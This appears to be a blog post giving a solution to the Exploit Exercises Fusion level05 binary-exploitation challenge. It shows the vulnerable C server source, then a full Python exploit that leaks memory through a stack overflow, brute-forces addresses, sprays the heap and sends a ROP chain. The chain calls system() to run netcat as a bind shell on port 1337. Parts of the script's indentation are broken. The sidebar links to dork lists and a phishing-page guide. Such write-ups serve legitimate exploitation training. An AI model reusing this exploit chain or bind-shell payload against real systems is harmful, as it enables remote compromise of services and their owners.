Skip to main content

Exploit Exercise Binary Exploitation Fusion Level 05

Hello Crazy Hackers



Welcome Again To My Blog, Well.. well.. Friends, Today, I am going to share my solution for Exploit Exercise Fusion Level 05 Challenge. Before Continuing. I Just want to say "WT F! It was Insane for me!! But I Can't Believe it That I have done it". This Level Was Like A Hell For me. Complete Of Depression, Pain, Problems But Also Force You to Gathering More Knowledge. Good Luck!

Source Code



#include "../common/common.c"    

#include <task.h>

#define STACK (4096 * 8)

unsigned int hash(unsigned char *str, int length, unsigned int mask)
{
  unsigned int h = 0xfee13117;
  int i;

  for(h = 0xfee13117, i = 0; i < length; i++) {
      h ^= str[i];
      h += (h << 11);
      h ^= (h >> 7);
      h -= str[i];
  }
  h += (h << 3);
  h ^= (h >> 10);
  h += (h << 15);
  h -= (h >> 17);

  return (h & mask);
}

void fdprintf(int fd, char *fmt, ...)
{
  va_list ap;
  char *msg = NULL;

  va_start(ap, fmt);
  vasprintf(&msg, fmt, ap);
  va_end(ap);

  if(msg) {
      fdwrite(fd, msg, strlen(msg));    
      free(msg);
  }
}

struct registrations {
  short int flags;
  in_addr_t ipv4;
} __attribute__((packed));

#define REGDB (128)
struct registrations registrations[REGDB];

static void addreg(void *arg)
{
  char *name, *sflags, *ipv4, *p;
  int h, flags;
  char *line = (char *)(arg);
  
  name = line;
  p = strchr(line, ' ');
  if(! p) goto bail;
  *p++ = 0;
  sflags = p;
  p = strchr(p, ' ');
  if(! p) goto bail;
  *p++ = 0;
  ipv4 = p;

  flags = atoi(sflags);
  if(flags & ~0xe0) goto bail;

  h = hash(name, strlen(name), REGDB-1);
  registrations[h].flags = flags;
  registrations[h].ipv4 = inet_addr(ipv4);

  printf("registration added successfully\n");

bail:
  free(line);
}

static void senddb(void *arg)
{
  unsigned char buffer[512], *p;
  char *host, *l;
  char *line = (char *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  p = buffer;
  sz = sizeof(buffer);
  host = line;
  l = strchr(line, ' ');
  if(! l) goto bail;
  *l++ = 0;
  port = atoi(l);
  if(port == 0) goto bail;

  printf("sending db\n");

  if((fd = netdial(UDP, host, port)) < 0) goto bail;

  for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {
      if(registrations[i].flags | registrations[i].ipv4) {
          memcpy(p, &registrations[i], sizeof(struct registrations));
          p += sizeof(struct registrations);
          sz += sizeof(struct registrations);
      }
  }
bail:
  fdwrite(fd, buffer, sz);
  close(fd);
  free(line);
}

int get_and_hash(int maxsz, char *string, char separator)
{
  char name[32];
  int i;
  
  if(maxsz > 32) return 0;

  for(i = 0; i < maxsz, string[i]; i++) {
      if(string[i] == separator) break;
      name[i] = string[i];
  }

  return hash(name, strlen(name), 0x7f);
}


struct isuparg {
  int fd;
  char *string;
};


static void checkname(void *arg)
{
  struct isuparg *isa = (struct isuparg *)(arg);
  int h;

  h = get_and_hash(32, isa->string, '@');
  
  fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");

}

static void isup(void *arg)
{
  unsigned char buffer[512], *p;
  char *host, *l;
  struct isuparg *isa = (struct isuparg *)(arg);
  int port;
  int fd;
  int i;
  int sz;

  // skip over first arg, get port
  l = strchr(isa->string, ' ');
  if(! l) return;
  *l++ = 0;

  port = atoi(l);
  host = malloc(64);

  for(i = 0; i < 128; i++) {
      p = (unsigned char *)(& registrations[i]);
      if(! registrations[i].ipv4) continue;

      sprintf(host, "%d.%d.%d.%d",
          (registrations[i].ipv4 >> 0) & 0xff,
          (registrations[i].ipv4 >> 8) & 0xff,
          (registrations[i].ipv4 >> 16) & 0xff,
          (registrations[i].ipv4 >> 24) & 0xff);

      if((fd = netdial(UDP, host, port)) < 0) {
          continue;
      }

      buffer[0] = 0xc0;
      memcpy(buffer + 1, p, sizeof(struct registrations));
      buffer[5] = buffer[6] = buffer[7] = 0;

      fdwrite(fd, buffer, 8);

      close(fd);
  }

  free(host);
}

static void childtask(void *arg)
{
  int cfd = (int)(arg);
  char buffer[512], *n;
  int r;
  

  n = "** welcome to level05 **\n";

  if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;

  while(1) {
      if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;

      n = strchr(buffer, '\r');
      if(n) *n = 0;
      n = strchr(buffer, '\n');
      if(n) *n = 0;

      if(strncmp(buffer, "addreg ", 7) == 0) {
          taskcreate(addreg, strdup(buffer + 7), STACK);
          continue;
      }

      if(strncmp(buffer, "senddb ", 7) == 0) {
          taskcreate(senddb, strdup(buffer + 7), STACK);
          continue;
      }

      if(strncmp(buffer, "checkname ", 10) == 0) {
          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);

          isa->fd = cfd;
          isa->string = strdup(buffer + 10);

          taskcreate(checkname, isa, STACK);
          continue;
      }
  
      if(strncmp(buffer, "quit", 4) == 0) {
          break;
      }

      if(strncmp(buffer, "isup ", 5) == 0) {
          struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
          isa->fd = cfd;
          isa->string = strdup(buffer + 5);
          taskcreate(isup, isa, STACK);
      }
  }

bail:
  close(cfd); 
}

void taskmain(int argc, char **argv)
{
  int fd, cfd;
  char remote[16];
  int rport;    

  signal(SIGPIPE, SIG_IGN);
  background_process(NAME, UID, GID); 

  if((fd = netannounce(TCP, 0, PORT)) < 0) {
      fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));
      taskexitall(1);
  }

  fdnoblock(fd);

  while((cfd = netaccept(fd, remote, &rport)) >= 0) {
      fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);
      taskcreate(childtask, (void *)(cfd), STACK);
  }

  

}

Hint



Even more information leaks and stack overwrites. This time with random libraries / evented programming styles :>

Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes

Exploit Code.

#!/usr/bin/python
import socket
import struct
import time
import telnetlib
import string
import sys
from struct import pack

# Configuration
v = ('127.0.0.1', 20005)




CMD = 'A'*20
HEAPDUMP = CMD
HEAPDUMP += 'A'*(400-len(CMD)) #
HEAPDUMP += '\x04'



#exit(0)
# Important Variables []

FD = 0
ARGU= 0
LIBC= 0

if '127.0.0' in v[0]:
 print '[*] Using local settings'
 TIMEOUT = 0.1
 SPRAYTIME = 0.00001
else:
 TIMEOUT = 0.3
 SPRAYTIME = 0.0001

# create connection
def connect(IP, PORT):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((IP, PORT))
 return s

# recv bytes
def recv(s, bytes):
 s.settimeout(TIMEOUT)
 try:
  r = s.recv(bytes)
 except Exception as e:
  r = ''
 return r

# send bytes
def send(s, data, listen=False):
 s.send(data+'\n')
 if listen:
  return recv(s, 1024)
 return False


# checkname
def check(s, data, listen):
 return send(s, 'checkname '+data, listen=listen)


# addref function
def add(s, data):
 send(s, 'addreg '+data+ ' 64 1.1.7.1')
 return send(s,'checkname '+data)

# isup
def isup(s, data):
 s.send('isup {}\n'.format(data), False)
 return




"""
 Start Addr   End Addr       Size     Offset objfile
 0x8f94d000 0xb764d000 0x27d00000          0        
 0xb764d000 0xb768f000    0x42000          0        
 0xb768f000 0xb7805000   0x176000          0       /lib/i386-linux-gnu/libc-2.13.so
 0xb7805000 0xb7807000     0x2000   0x176000       /lib/i386-linux-gnu/libc-2.13.so
 0xb7807000 0xb7808000     0x1000   0x178000       /lib/i386-linux-gnu/libc-2.13.so
 0xb7808000 0xb780b000     0x3000          0        
 0xb7815000 0xb7817000     0x2000          0        
 0xb7817000 0xb7818000     0x1000          0           [vdso]
 0xb7818000 0xb7836000    0x1e000          0       /lib/i386-linux-gnu/ld-2.13.so
 0xb7836000 0xb7837000     0x1000    0x1d000       /lib/i386-linux-gnu/ld-2.13.so
 0xb7837000 0xb7838000     0x1000    0x1e000       /lib/i386-linux-gnu/ld-2.13.so
 0xb7838000 0xb783e000     0x6000          0       /opt/fusion/bin/level05
 0xb783e000 0xb783f000     0x1000     0x6000       /opt/fusion/bin/level05
 0xb783f000 0xb7842000     0x3000          0        
 0xb8110000 0xb8131000    0x21000          0           [heap]
 0xb8131000 0xbf873000  0x7742000          0           [heap]
 0xbf883000 0xbf8a4000    0x21000          0           [stack]

"""


# heap spray
def spray(s, num=0x7c685):
 print '[+] Spray Started. '
 print '[+] Please wait. Minimum Time : 50 sec | Maximum : 140+ sec'
 for i in range(num):
        time.sleep(SPRAYTIME)
        isup(s, HEAPDUMP)
 print '[+] Spray End..'
 return





# Finding File Descriptor 
def find_fd(s):
 print '[*] This Process Can Take Nearly 0-60 Sec.'
 rc2 = 0
 rc3 = 0
 rc1 = check(s, 'A'*20, True)
 if rc1:
  print '[+] Process Started.'
  print rc1
 else:
  print '[+] Server not Responding.'
  exit(0)
 for i in range(0xb5010101, 0xb501ffff):

  if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):
   continue
  #sys.stdout.write('\r [+] Trying : {}'.format(hex(i)))
  #sys.stdout.flush()
  #i = 0xb601328c
  rc1 = check(s, 'A'*32+struct.pack('I', i), True)
  print '[+] Trying : ', hex(i), rc1
  #exit(0)
  if rc1:
   print '[+] May We Find It. Let me conform it.', hex(i)
   rc2 = check(s, 'B'*32+struct.pack('I', i), True)
   rc3 = check(s, 'B'*32+struct.pack('I', i), True)

   if (rc1 and rc2 and rc3):
    print [struct.pack('I', i)], hex(i)
    if raw_input('[+] Press Enter To Find Another One Or Type [Y] : '):
     return i
 return 0

# get libc address
def adjust(s, g, i):
 return int(((i >> 4) << 4)+0x42000) # < ! Maybe here --> hex(((i >> 12)<< 12)+0x42000)


# leak data analyser
def dumpcollect(s, g, ARGU, LIBC):
 offset = 4
 while True:
  i = g+offset 
  # Conditions To Avoid Bad Characters
  if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):
   offset += 1
                        continue
  if (LIBC!=0):
   return (ARGU, LIBC)

   
  rc = check(s, 'A'*32+struct.pack('I', g)+struct.pack('I', i), True)
  if rc:
   rc = rc.replace(' is not indexed already\n', '')
   if (('taskmain' in rc) or ('skmain' in rc) or ('main' in rc)):
    print "[+] Leak Address : ",[struct.pack('I', g+offset)]
    print "[+] Leaked Data  : ",[rc]
    LIBC = adjust(s, g, i)
    print '[+] Libc Address Detected : ', hex(LIBC)
    print('[+] Congrats. Libc Found')
    if 'y' in raw_input('[+] Find Again [y/n] : '):
     LIBC = 0
    print '[+] Current ARGU Address : ', hex(ARGU)

   elif ((CMD in rc) and (not ARGU)):
    print [struct.pack('I', g+offset)]
    print [rc]
    ARGU = i
    print '[+] CMD Address : ', hex(ARGU)
    print('[+] Congrats. CMD Address Detected.')
   else:
    if len(rc):
     offset += len(rc)
    else:
     offset += 4
 return (0, 0)


# open /bin/sh
def opensh(libc, ptr, ret):
 r = ''
 r += struct.pack("I", libc + 0x3cb20) # system
 r += struct.pack("I", ret)
 r += struct.pack("I", ptr) # "/bin/sh"
 return r


# Open bind shell : port 1337
def openncshell(libcbase):

 p = ""
 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178020) # @ .data
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret 
 p += "/bin"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178024) # @ .data + 4
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "/nc."
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178028) # @ .data + 8
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "trad"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x0017802c) # @ .data + 12
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "itio"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178030) # @ .data + 16
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "nal "
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178034) # @ .data + 20
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "-ltp"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178038) # @ .data + 24
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "1337"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x0017803c) # @ .data + 28
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += " -e/"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x0017803f) # @ .data + 32
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "/bin"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

 p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
 p += pack("<I", libcbase + 0x00178043) # @ .data + 36
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
 p += "//sh"
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 
 p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
 p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret
 
 p += pack("<I", libcbase + 0x0003cb20) # system()
 p += pack("<I", libcbase + 0x000329e0) # exit()
 #p += '\xcc'*4
 p += pack("<I", libcbase + 0x00178020) # @ .data
 return p


def payload(esi, edi, libc, cmd):
 PAYLOAD = 'A'*44
 PAYLOAD += openncshell(libc)
 PAYLOAD += ''
 print [PAYLOAD]
 if ('\r' in PAYLOAD) or ('\n' in PAYLOAD) or ('@' in PAYLOAD) or ('\r' in PAYLOAD):
  print '[+] Ohh Man... I think This Payload will Not work because of NULL characters In Address '
  raw_input('[*] Continue... ')
 return PAYLOAD


if __name__ == '__main__':
 if 'spray' in sys.argv:
  print '[*] Spray: ', [HEAPDUMP]

  raw_input('[+] Spary.. Now.')
  print '[+] Calm Down.. Process Take Time To Conform That Server Doesnt Crash During Spray.'
  s = connect(*v)
                time.sleep(1)
                if not recv(s, 1024):
                        print '[+] Server Is Not Responsing.,'
                        exit(0)
  else:
   print '[+] I Think Server Is Ready To Exploit.'
  # Engage Spray
  spray(s)
  s.send('quit\n'*2)
  print "[+] I think... We done it."
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
  exit(0)

 elif 'crash' in sys.argv:
  raw_input('[+] Want To Crash.. Restart.')
                s = connect(*v)
                print check(s, 'A'*50, True)
                t = telnetlib.Telnet()
                t.sock = s
                t.interact()
                s.send('quit\n'*2)

 elif 'interact' in sys.argv:
                raw_input('[+] Interactive..')
                s = connect(*v)
  time.sleep(1)
  c = recv(s, 1024)
  if not c:
   print '[+] Server Is Not Responsing.,'
   exit(0)
                else:
   print c
                        print '[+] I Think Server Is Ready To Exploit.'

  print '[+] Telnet Engaged..'
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()
  s.send('quit\n'*2)



 elif 'leak' in sys.argv:
                raw_input('[+] Exploiting..')
                s = connect(*v)
  time.sleep(1)
  c = recv(s, 1024)
  if not c:
   print '[+] Server Is Not Responsing.,'
   exit(0)
                else:
   print c
                        print '[+] I Think Server Is Ready To Exploit.'

  # Find File Descriptor
  print '[+] Finding FD'
  g = FD or find_fd(s)

  if not g:
   print '[+] Sorry File Descriptor Not Found'
   exit(0)

  print '[+] FD Selected : ', hex(g)
  raw_input('[+] Press Enter To Second Stage.')
  print '[+] Addresses Extraction Started.'
  ARGU, LIBC = dumpcollect(s, g, ARGU, LIBC)
  if (ARGU and LIBC):
   print '[+] Data Leak Face Complete.'
   print '[-] Information Conformation [-]'
   print '\t[+] FD  Address  : ', hex(g)
                        print '\t[+] Libc Address : ', hex(LIBC)
                        print '\t[+] Argu Address : ', hex(ARGU)

  else:
   s.send('quit\n'*2)
   exit(0)
  esi = g
  cmd = ARGU
  libc = LIBC
  edi = 0xb6010101
  data = payload(esi, edi, libc, cmd)
  check(s, data, False)
  raw_input('[*] Want To Close This Pipe.')
  s.close()

 else:
  print '[+] Pass Argument Like : leak, spray, crash'


def start(args):

 # Connection Section
 s = connect(*v)
 t = telnetlib.Telnet()
 t.sock = s
 time.sleep(1)
 print recv(s, 1024)
 PAYLOAD = 'A'*32
 PAYLOAD += struct.pack('I', 0xba010101) # ESI
 PAYLOAD += '' # EDI
 PAYLOAD += '' # EBP
 PAYLOAD += '' # EIP
 PAYLOAD += ''
 print [check(s, 'checkname '+PAYLOAD, True)]
 t.interact()

If You can't Understand This Exploit, Then You victory will be meaningless. Do Hard Work!


Comments

Related Post

Top Visited

how to install burp suite in Linux/Ubuntu 16.04

Create Simple Packet Sniffer Using Python

Big List Of Google Dorks For Sqli Injection

Latest Google Dorks List

how to configure burpsuite with firefox?

List of Keyboard Shortcuts Keys for GNOME Desktop (Kali linux / Linux / Ubuntu/*nix )

Python Beautiful Soup Module - Tutorial - Part 2

Create Ping Sweeping Script Using Python

How to create Phishing Page Using Kali Linux | Webpage Page Cloning Using Kali Linux Social Engineering Toolkit

What is Burp Suite And its Features?